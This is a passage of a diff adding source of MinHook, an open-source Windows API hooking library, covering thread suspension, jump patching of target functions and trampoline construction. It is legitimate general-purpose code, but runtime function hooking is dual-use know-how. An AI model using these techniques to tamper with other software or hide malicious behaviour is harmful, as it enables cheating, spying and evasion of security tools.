g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD));
|
||||
if (p == NULL)
|
||||
{
|
||||
succeeded = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
pThreads->pItems = p;
|
||||
}
|
||||
pThreads->pItems[pThreads->size++] = te.th32ThreadID;
|
||||
}
|
||||
|
||||
te.dwSize = sizeof(THREADENTRY32);
|
||||
} while (Thread32Next(hSnapshot, &te));
|
||||
|
||||
if (succeeded && GetLastError() != ERROR_NO_MORE_FILES)
|
||||
succeeded = FALSE;
|
||||
|
||||
if (!succeeded && pThreads->pItems != NULL)
|
||||
{
|
||||
HeapFree(g_hHeap, 0, pThreads->pItems);
|
||||
pThreads->pItems = NULL;
|
||||
}
|
||||
}
|
||||
CloseHandle(hSnapshot);
|
||||
}
|
||||
|
||||
return succeeded;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
|
||||
pThreads->pItems = NULL;
|
||||
pThreads->capacity = 0;
|
||||
pThreads->size = 0;
|
||||
if (!EnumerateThreads(pThreads))
|
||||
{
|
||||
status = MH_ERROR_MEMORY_ALLOC;
|
||||
}
|
||||
else if (pThreads->pItems != NULL)
|
||||
{
|
||||
UINT i;
|
||||
for (i = 0; i < pThreads->size; ++i)
|
||||
{
|
||||
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
|
||||
BOOL suspended = FALSE;
|
||||
if (hThread != NULL)
|
||||
{
|
||||
DWORD result = SuspendThread(hThread);
|
||||
if (result != 0xFFFFFFFF)
|
||||
{
|
||||
suspended = TRUE;
|
||||
ProcessThreadIPs(hThread, pos, action);
|
||||
}
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
if (!suspended)
|
||||
{
|
||||
// Mark thread as not suspended, so it's not resumed later on.
|
||||
pThreads->pItems[i] = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static VOID Unfreeze(PFROZEN_THREADS pThreads)
|
||||
{
|
||||
if (pThreads->pItems != NULL)
|
||||
{
|
||||
UINT i;
|
||||
for (i = 0; i < pThreads->size; ++i)
|
||||
{
|
||||
DWORD threadId = pThreads->pItems[i];
|
||||
if (threadId != 0)
|
||||
{
|
||||
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId);
|
||||
if (hThread != NULL)
|
||||
{
|
||||
ResumeThread(hThread);
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
HeapFree(g_hHeap, 0, pThreads->pItems);
|
||||
}
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static MH_STATUS EnableHookLL(UINT pos, BOOL enable)
|
||||
{
|
||||
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
|
||||
DWORD oldProtect;
|
||||
SIZE_T patchSize = sizeof(JMP_REL);
|
||||
LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget;
|
||||
|
||||
if (pHook->patchAbove)
|
||||
{
|
||||
pPatchTarget -= sizeof(JMP_REL);
|
||||
patchSize += sizeof(JMP_REL_SHORT);
|
||||
}
|
||||
|
||||
if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect))
|
||||
return MH_ERROR_MEMORY_PROTECT;
|
||||
|
||||
if (enable)
|
||||
{
|
||||
PJMP_REL pJmp = (PJMP_REL)pPatchTarget;
|
||||
pJmp->opcode = 0xE9;
|
||||
pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL)));
|
||||
|
||||
if (pHook->patchAbove)
|
||||
{
|
||||
PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget;
|
||||
pShortJmp->opcode = 0xEB;
|
||||
pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL)));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (pHook->patchAbove)
|
||||
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
|
||||
else
|
||||
memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL));
|
||||
}
|
||||
|
||||
VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect);
|
||||
|
||||
// Just-in-case measure.
|
||||
FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize);
|
||||
|
||||
pHook->isEnabled = enable;
|
||||
pHook->queueEnable = enable;
|
||||
|
||||
return MH_OK;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static MH_STATUS EnableAllHooksLL(BOOL enable)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
UINT i, first = INVALID_HOOK_POS;
|
||||
|
||||
for (i = 0; i < g_hooks.size; ++i)
|
||||
{
|
||||
if (g_hooks.pItems[i].isEnabled != enable)
|
||||
{
|
||||
first = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (first != INVALID_HOOK_POS)
|
||||
{
|
||||
FROZEN_THREADS threads;
|
||||
status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE);
|
||||
if (status == MH_OK)
|
||||
{
|
||||
for (i = first; i < g_hooks.size; ++i)
|
||||
{
|
||||
if (g_hooks.pItems[i].isEnabled != enable)
|
||||
{
|
||||
status = EnableHookLL(i, enable);
|
||||
if (status != MH_OK)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Unfreeze(&threads);
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static VOID EnterSpinLock(VOID)
|
||||
{
|
||||
SIZE_T spinCount = 0;
|
||||
|
||||
// Wait until the flag is FALSE.
|
||||
while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE)
|
||||
{
|
||||
// No need to generate a memory barrier here, since InterlockedCompareExchange()
|
||||
// generates a full memory barrier itself.
|
||||
|
||||
// Prevent the loop from being too busy.
|
||||
if (spinCount < 32)
|
||||
Sleep(0);
|
||||
else
|
||||
Sleep(1);
|
||||
|
||||
spinCount++;
|
||||
}
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static VOID LeaveSpinLock(VOID)
|
||||
{
|
||||
// No need to generate a memory barrier here, since InterlockedExchange()
|
||||
// generates a full memory barrier itself.
|
||||
|
||||
InterlockedExchange(&g_isLocked, FALSE);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_Initialize(VOID)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
|
||||
EnterSpinLock();
|
||||
|
||||
if (g_hHeap == NULL)
|
||||
{
|
||||
g_hHeap = HeapCreate(0, 0, 0);
|
||||
if (g_hHeap != NULL)
|
||||
{
|
||||
// Initialize the internal function buffer.
|
||||
InitializeBuffer();
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_MEMORY_ALLOC;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_ALREADY_INITIALIZED;
|
||||
}
|
||||
|
||||
LeaveSpinLock();
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_Uninitialize(VOID)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
|
||||
EnterSpinLock();
|
||||
|
||||
if (g_hHeap != NULL)
|
||||
{
|
||||
status = EnableAllHooksLL(FALSE);
|
||||
if (status == MH_OK)
|
||||
{
|
||||
// Free the internal function buffer.
|
||||
|
||||
// HeapFree is actually not required, but some tools detect a false
|
||||
// memory leak without HeapFree.
|
||||
|
||||
UninitializeBuffer();
|
||||
|
||||
HeapFree(g_hHeap, 0, g_hooks.pItems);
|
||||
HeapDestroy(g_hHeap);
|
||||
|
||||
g_hHeap = NULL;
|
||||
|
||||
g_hooks.pItems = NULL;
|
||||
g_hooks.capacity = 0;
|
||||
g_hooks.size = 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_INITIALIZED;
|
||||
}
|
||||
|
||||
LeaveSpinLock();
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
|
||||
EnterSpinLock();
|
||||
|
||||
if (g_hHeap != NULL)
|
||||
{
|
||||
if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour))
|
||||
{
|
||||
UINT pos = FindHookEntry(pTarget);
|
||||
if (pos == INVALID_HOOK_POS)
|
||||
{
|
||||
LPVOID pBuffer = AllocateBuffer(pTarget);
|
||||
if (pBuffer != NULL)
|
||||
{
|
||||
TRAMPOLINE ct;
|
||||
|
||||
ct.pTarget = pTarget;
|
||||
ct.pDetour = pDetour;
|
||||
ct.pTrampoline = pBuffer;
|
||||
if (CreateTrampolineFunction(&ct))
|
||||
{
|
||||
PHOOK_ENTRY pHook = AddHookEntry();
|
||||
if (pHook != NULL)
|
||||
{
|
||||
pHook->pTarget = ct.pTarget;
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
pHook->pDetour = ct.pRelay;
|
||||
#else
|
||||
pHook->pDetour = ct.pDetour;
|
||||
#endif
|
||||
pHook->pTrampoline = ct.pTrampoline;
|
||||
pHook->patchAbove = ct.patchAbove;
|
||||
pHook->isEnabled = FALSE;
|
||||
pHook->queueEnable = FALSE;
|
||||
pHook->nIP = ct.nIP;
|
||||
memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs));
|
||||
memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs));
|
||||
|
||||
// Back up the target function.
|
||||
|
||||
if (ct.patchAbove)
|
||||
{
|
||||
memcpy(
|
||||
pHook->backup,
|
||||
(LPBYTE)pTarget - sizeof(JMP_REL),
|
||||
sizeof(JMP_REL) + sizeof(JMP_REL_SHORT));
|
||||
}
|
||||
else
|
||||
{
|
||||
memcpy(pHook->backup, pTarget, sizeof(JMP_REL));
|
||||
}
|
||||
|
||||
if (ppOriginal != NULL)
|
||||
*ppOriginal = pHook->pTrampoline;
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_MEMORY_ALLOC;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_UNSUPPORTED_FUNCTION;
|
||||
}
|
||||
|
||||
if (status != MH_OK)
|
||||
{
|
||||
FreeBuffer(pBuffer);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_MEMORY_ALLOC;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_ALREADY_CREATED;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_EXECUTABLE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_INITIALIZED;
|
||||
}
|
||||
|
||||
LeaveSpinLock();
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
|
||||
EnterSpinLock();
|
||||
|
||||
if (g_hHeap != NULL)
|
||||
{
|
||||
UINT pos = FindHookEntry(pTarget);
|
||||
if (pos != INVALID_HOOK_POS)
|
||||
{
|
||||
if (g_hooks.pItems[pos].isEnabled)
|
||||
{
|
||||
FROZEN_THREADS threads;
|
||||
status = Freeze(&threads, pos, ACTION_DISABLE);
|
||||
if (status == MH_OK)
|
||||
{
|
||||
status = EnableHookLL(pos, FALSE);
|
||||
|
||||
Unfreeze(&threads);
|
||||
}
|
||||
}
|
||||
|
||||
if (status == MH_OK)
|
||||
{
|
||||
FreeBuffer(g_hooks.pItems[pos].pTrampoline);
|
||||
DeleteHookEntry(pos);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_CREATED;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_INITIALIZED;
|
||||
}
|
||||
|
||||
LeaveSpinLock();
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
|
||||
EnterSpinLock();
|
||||
|
||||
if (g_hHeap != NULL)
|
||||
{
|
||||
if (pTarget == MH_ALL_HOOKS)
|
||||
{
|
||||
status = EnableAllHooksLL(enable);
|
||||
}
|
||||
else
|
||||
{
|
||||
UINT pos = FindHookEntry(pTarget);
|
||||
if (pos != INVALID_HOOK_POS)
|
||||
{
|
||||
if (g_hooks.pItems[pos].isEnabled != enable)
|
||||
{
|
||||
FROZEN_THREADS threads;
|
||||
status = Freeze(&threads, pos, ACTION_ENABLE);
|
||||
if (status == MH_OK)
|
||||
{
|
||||
status = EnableHookLL(pos, enable);
|
||||
|
||||
Unfreeze(&threads);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_CREATED;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_INITIALIZED;
|
||||
}
|
||||
|
||||
LeaveSpinLock();
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget)
|
||||
{
|
||||
return EnableHook(pTarget, TRUE);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget)
|
||||
{
|
||||
return EnableHook(pTarget, FALSE);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
|
||||
EnterSpinLock();
|
||||
|
||||
if (g_hHeap != NULL)
|
||||
{
|
||||
if (pTarget == MH_ALL_HOOKS)
|
||||
{
|
||||
UINT i;
|
||||
for (i = 0; i < g_hooks.size; ++i)
|
||||
g_hooks.pItems[i].queueEnable = queueEnable;
|
||||
}
|
||||
else
|
||||
{
|
||||
UINT pos = FindHookEntry(pTarget);
|
||||
if (pos != INVALID_HOOK_POS)
|
||||
{
|
||||
g_hooks.pItems[pos].queueEnable = queueEnable;
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_CREATED;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_INITIALIZED;
|
||||
}
|
||||
|
||||
LeaveSpinLock();
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget)
|
||||
{
|
||||
return QueueHook(pTarget, TRUE);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget)
|
||||
{
|
||||
return QueueHook(pTarget, FALSE);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_ApplyQueued(VOID)
|
||||
{
|
||||
MH_STATUS status = MH_OK;
|
||||
UINT i, first = INVALID_HOOK_POS;
|
||||
|
||||
EnterSpinLock();
|
||||
|
||||
if (g_hHeap != NULL)
|
||||
{
|
||||
for (i = 0; i < g_hooks.size; ++i)
|
||||
{
|
||||
if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable)
|
||||
{
|
||||
first = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (first != INVALID_HOOK_POS)
|
||||
{
|
||||
FROZEN_THREADS threads;
|
||||
status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED);
|
||||
if (status == MH_OK)
|
||||
{
|
||||
for (i = first; i < g_hooks.size; ++i)
|
||||
{
|
||||
PHOOK_ENTRY pHook = &g_hooks.pItems[i];
|
||||
if (pHook->isEnabled != pHook->queueEnable)
|
||||
{
|
||||
status = EnableHookLL(i, pHook->queueEnable);
|
||||
if (status != MH_OK)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Unfreeze(&threads);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
status = MH_ERROR_NOT_INITIALIZED;
|
||||
}
|
||||
|
||||
LeaveSpinLock();
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_CreateHookApiEx(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour,
|
||||
LPVOID *ppOriginal, LPVOID *ppTarget)
|
||||
{
|
||||
HMODULE hModule;
|
||||
LPVOID pTarget;
|
||||
|
||||
hModule = GetModuleHandleW(pszModule);
|
||||
if (hModule == NULL)
|
||||
return MH_ERROR_MODULE_NOT_FOUND;
|
||||
|
||||
pTarget = (LPVOID)GetProcAddress(hModule, pszProcName);
|
||||
if (pTarget == NULL)
|
||||
return MH_ERROR_FUNCTION_NOT_FOUND;
|
||||
|
||||
if (ppTarget != NULL)
|
||||
*ppTarget = pTarget;
|
||||
|
||||
return MH_CreateHook(pTarget, pDetour, ppOriginal);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
MH_STATUS WINAPI MH_CreateHookApi(
|
||||
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal)
|
||||
{
|
||||
return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL);
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
const char *WINAPI MH_StatusToString(MH_STATUS status)
|
||||
{
|
||||
#define MH_ST2STR(x) \
|
||||
case x: \
|
||||
return #x;
|
||||
|
||||
switch (status) {
|
||||
MH_ST2STR(MH_UNKNOWN)
|
||||
MH_ST2STR(MH_OK)
|
||||
MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED)
|
||||
MH_ST2STR(MH_ERROR_NOT_INITIALIZED)
|
||||
MH_ST2STR(MH_ERROR_ALREADY_CREATED)
|
||||
MH_ST2STR(MH_ERROR_NOT_CREATED)
|
||||
MH_ST2STR(MH_ERROR_ENABLED)
|
||||
MH_ST2STR(MH_ERROR_DISABLED)
|
||||
MH_ST2STR(MH_ERROR_NOT_EXECUTABLE)
|
||||
MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION)
|
||||
MH_ST2STR(MH_ERROR_MEMORY_ALLOC)
|
||||
MH_ST2STR(MH_ERROR_MEMORY_PROTECT)
|
||||
MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND)
|
||||
MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND)
|
||||
}
|
||||
|
||||
#undef MH_ST2STR
|
||||
|
||||
return "(unknown)";
|
||||
}
|
||||
@@ -0,0 +1,320 @@
|
||||
/*
|
||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS)
|
||||
#define ALLOW_INTRINSICS
|
||||
#include <intrin.h>
|
||||
#endif
|
||||
|
||||
#ifndef ARRAYSIZE
|
||||
#define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
|
||||
#endif
|
||||
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
#include "./hde/hde64.h"
|
||||
typedef hde64s HDE;
|
||||
#define HDE_DISASM(code, hs) hde64_disasm(code, hs)
|
||||
#else
|
||||
#include "./hde/hde32.h"
|
||||
typedef hde32s HDE;
|
||||
#define HDE_DISASM(code, hs) hde32_disasm(code, hs)
|
||||
#endif
|
||||
|
||||
#include "trampoline.h"
|
||||
#include "buffer.h"
|
||||
|
||||
// Maximum size of a trampoline function.
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
#define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS))
|
||||
#else
|
||||
#define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE
|
||||
#endif
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
static BOOL IsCodePadding(LPBYTE pInst, UINT size)
|
||||
{
|
||||
UINT i;
|
||||
|
||||
if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC)
|
||||
return FALSE;
|
||||
|
||||
for (i = 1; i < size; ++i)
|
||||
{
|
||||
if (pInst[i] != pInst[0])
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
BOOL CreateTrampolineFunction(PTRAMPOLINE ct)
|
||||
{
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
CALL_ABS call = {
|
||||
0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8]
|
||||
0xEB, 0x08, // EB 08: JMP +10
|
||||
0x0000000000000000ULL // Absolute destination address
|
||||
};
|
||||
JMP_ABS jmp = {
|
||||
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
|
||||
0x0000000000000000ULL // Absolute destination address
|
||||
};
|
||||
JCC_ABS jcc = {
|
||||
0x70, 0x0E, // 7* 0E: J** +16
|
||||
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
|
||||
0x0000000000000000ULL // Absolute destination address
|
||||
};
|
||||
#else
|
||||
CALL_REL call = {
|
||||
0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx
|
||||
0x00000000 // Relative destination address
|
||||
};
|
||||
JMP_REL jmp = {
|
||||
0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx
|
||||
0x00000000 // Relative destination address
|
||||
};
|
||||
JCC_REL jcc = {
|
||||
0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx
|
||||
0x00000000 // Relative destination address
|
||||
};
|
||||
#endif
|
||||
|
||||
UINT8 oldPos = 0;
|
||||
UINT8 newPos = 0;
|
||||
ULONG_PTR jmpDest = 0; // Destination address of an internal jump.
|
||||
BOOL finished = FALSE; // Is the function completed?
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
UINT8 instBuf[16];
|
||||
#endif
|
||||
|
||||
ct->patchAbove = FALSE;
|
||||
ct->nIP = 0;
|
||||
|
||||
do
|
||||
{
|
||||
HDE hs;
|
||||
UINT copySize;
|
||||
LPVOID pCopySrc;
|
||||
ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos;
|
||||
ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos;
|
||||
|
||||
copySize = HDE_DISASM((LPVOID)pOldInst, &hs);
|
||||
if (hs.flags & F_ERROR)
|
||||
return FALSE;
|
||||
|
||||
pCopySrc = (LPVOID)pOldInst;
|
||||
if (oldPos >= sizeof(JMP_REL))
|
||||
{
|
||||
// The trampoline function is long enough.
|
||||
// Complete the function with the jump to the target function.
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
jmp.address = pOldInst;
|
||||
#else
|
||||
jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp)));
|
||||
#endif
|
||||
pCopySrc = &jmp;
|
||||
copySize = sizeof(jmp);
|
||||
|
||||
finished = TRUE;
|
||||
}
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
else if ((hs.modrm & 0xC7) == 0x05)
|
||||
{
|
||||
// Instructions using RIP relative addressing. (ModR/M = 00???101B)
|
||||
|
||||
// Modify the RIP relative address.
|
||||
PUINT32 pRelAddr;
|
||||
|
||||
// Avoid using memcpy to reduce the footprint.
|
||||
#ifndef ALLOW_INTRINSICS
|
||||
memcpy(instBuf, (LPBYTE)pOldInst, copySize);
|
||||
#else
|
||||
__movsb(instBuf, (LPBYTE)pOldInst, copySize);
|
||||
#endif
|
||||
pCopySrc = instBuf;
|
||||
|
||||
// Relative address is stored at (instruction length - immediate value length - 4).
|
||||
pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4);
|
||||
*pRelAddr
|
||||
= (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len));
|
||||
|
||||
// Complete the function if JMP (FF /4).
|
||||
if (hs.opcode == 0xFF && hs.modrm_reg == 4)
|
||||
finished = TRUE;
|
||||
}
|
||||
#endif
|
||||
else if (hs.opcode == 0xE8)
|
||||
{
|
||||
// Direct relative CALL
|
||||
ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32;
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
call.address = dest;
|
||||
#else
|
||||
call.operand = (INT32)(dest - (pNewInst + sizeof(call)));
|
||||
#endif
|
||||
pCopySrc = &call;
|
||||
copySize = sizeof(call);
|
||||
}
|
||||
else if ((hs.opcode & 0xFD) == 0xE9)
|
||||
{
|
||||
// Direct relative JMP (EB or E9)
|
||||
ULONG_PTR dest = pOldInst + hs.len;
|
||||
|
||||
if (hs.opcode == 0xEB) // isShort jmp
|
||||
dest += (INT8)hs.imm.imm8;
|
||||
else
|
||||
dest += (INT32)hs.imm.imm32;
|
||||
|
||||
// Simply copy an internal jump.
|
||||
if ((ULONG_PTR)ct->pTarget <= dest
|
||||
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
|
||||
{
|
||||
if (jmpDest < dest)
|
||||
jmpDest = dest;
|
||||
}
|
||||
else
|
||||
{
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
jmp.address = dest;
|
||||
#else
|
||||
jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp)));
|
||||
#endif
|
||||
pCopySrc = &jmp;
|
||||
copySize = sizeof(jmp);
|
||||
|
||||
// Exit the function if it is not in the branch.
|
||||
finished = (pOldInst >= jmpDest);
|
||||
}
|
||||
}
|
||||
else if ((hs.opcode & 0xF0) == 0x70
|
||||
|| (hs.opcode & 0xFC) == 0xE0
|
||||
|| (hs.opcode2 & 0xF0) == 0x80)
|
||||
{
|
||||
// Direct relative Jcc
|
||||
ULONG_PTR dest = pOldInst + hs.len;
|
||||
|
||||
if ((hs.opcode & 0xF0) == 0x70 // Jcc
|
||||
|| (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ
|
||||
dest += (INT8)hs.imm.imm8;
|
||||
else
|
||||
dest += (INT32)hs.imm.imm32;
|
||||
|
||||
// Simply copy an internal jump.
|
||||
if ((ULONG_PTR)ct->pTarget <= dest
|
||||
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
|
||||
{
|
||||
if (jmpDest < dest)
|
||||
jmpDest = dest;
|
||||
}
|
||||
else if ((hs.opcode & 0xFC) == 0xE0)
|
||||
{
|
||||
// LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported.
|
||||
return FALSE;
|
||||
}
|
||||
else
|
||||
{
|
||||
UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F);
|
||||
#if defined(_M_X64) || defined(__x86_64__)
|
||||
// Invert the condition in x64 mode to simplify the conditional jump logic.
|
||||
jcc.opcode = 0x71 ^ cond;
|
||||
jcc.address = dest;
|
||||
#else
|
